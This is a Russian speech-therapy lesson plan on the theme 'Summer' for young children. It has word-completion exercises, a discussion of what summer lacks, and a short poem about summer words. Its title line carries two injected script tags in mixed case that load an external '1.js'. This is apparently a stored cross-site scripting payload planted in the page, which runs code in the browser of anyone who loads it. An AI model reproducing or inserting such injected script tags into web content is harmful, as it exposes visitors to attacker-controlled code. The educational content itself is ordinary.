Речевой досуг по теме “Лето”.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

22.07.2020

Цель: Продолжить работу над: грамматически правильным употреблением слов в речи детей; речевым материалом по теме “Лето”; формированием навыков словообразования. Уточнить обобщающие понятия “насекомые”, “цветы”; расширить и активизировать словарный запас по этим темам, а также по теме “Лето”.

1. Произносите начало слова, а дети додумывают и произносят конец. Бабо…чка, цве…ток, рома…шка, пче…ла, кузне…чик, васи…лек, незабу…дка, ко…мар, фиал…ка, па…ук.

2. Чего летом нет? Летом нет сугробов и снега. А чего еще нет летом в отличие от других времен года? (Снежинок, желтых листьев, снегирей, снеговиков, льда, сосулек, мороза, града, холодного ветра и т. п.)

3. Подберите “летнее” слово.

- Послушайте стихотворение.

Летний дождь и летний день,

Летний лес и летний пень,

Летний плащ и летний зной,

Летний домик расписной,

Летний папа, летний дед,

Летний летом целый свет.

- А теперь вы придумайте, что подойдет к слову летние. (Ягоды, овощи, фрукты, цветы, и т. д.)

- О чем мы с вами говорили? (О лете, цветах и насекомых.) Что нового вы узнали? Вам понравилось?

Желаем успеха!

Логопед-дефектолог: Смагулова Ж.Ж